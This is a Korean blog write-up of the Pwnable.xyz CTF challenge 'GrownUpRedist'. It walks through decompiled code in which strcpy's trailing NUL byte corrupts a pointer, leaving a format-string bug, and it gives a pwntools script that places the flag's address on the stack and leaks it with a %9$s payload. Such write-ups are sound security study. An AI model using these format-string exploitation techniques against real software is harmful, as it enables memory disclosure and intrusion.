본문 바로가기

CTF/Pwnable.xyz

Pwnable.xyz pwnable_GrownUpRedist Write up

포맷 스트링 버그 문제이다.

또 strcpy 관련된거 도 들어있는 합성된 문제이다.

나름 풀만했다.

 

일단 flag가 바이너리 안에 존재했다.

아마 포맷스트링으로 저거 불러오라는거같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // [rsp+8h] [rbp-28h]
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: "); // main+56
  *(&buf + (read(0, &buf, 16uLL) - 1)) = 0;     // main+78
  if ( buf != 121 && buf != 89 )
    return 0;
  src = malloc(0x84uLL);                        // main+127
  printf("Name: ");                             // main+170
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ");
  printf(qword_601160, usr);
  return 0;
}

일단 18살인지 입력을 받고 내용을 적을수있다.

근데 여기서 뭐가 문제냐?

저거 strcpy 할때 0x80을 src에 있는걸 usr로 옮기고있는데, strcpy 할때 마지막에 NULL로 해주는게 있는데 이거때문에 문제가 발생한다.

strcpy 전
strcpy 후

00 으로 바뀐것을 볼수있다.

그럼 여기서 생각을 할수있다. 바뀐 메모리가 가르키는 주소는 0x00601100 즉 usr+0x20 이다.

 

즉 여기에 포맷스트링을 넣어주면 되겠다.

근데 여기서 flag를 어떻게 출력하냐인데, 답은 처음에 y를 입력받을때 있다.

 

여기에 바이트를 꽉 채워서 넣어준다음에 스택을 보면,

위에사진은 flag가 있는 값으로 바꾸어준것이다.

즉 y를 한다음에 스택에 메모리 주소를 넣어준다음에

포맷스트링으로 조져주면된다.

 

from pwn import *

p = process("./GrownUpRedist")

context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
gdb.attach(p)

flag = 0x0601080

p.sendlineafter(": ","yAAABBBB"+ p32(flag))

payload = "A" * 32
payload += "%9$s"
payload += "A" * 91

p.sendlineafter(": ",payload)

p.interactive()

'CTF > Pwnable.xyz' 카테고리의 다른 글

Pwnable.xyz pwnable_two_target Write up  (0) 2019.11.19
Pwnable.xyz pwnable_xor Write up  (0) 2019.11.17
Pwnable.xyz pwnable_misailgnment Write up  (0) 2019.11.09
Pwnable.xyz pwnable_add Write up  (0) 2019.11.09
Pwnable.xyz pwnable_sub Write up  (0) 2019.11.09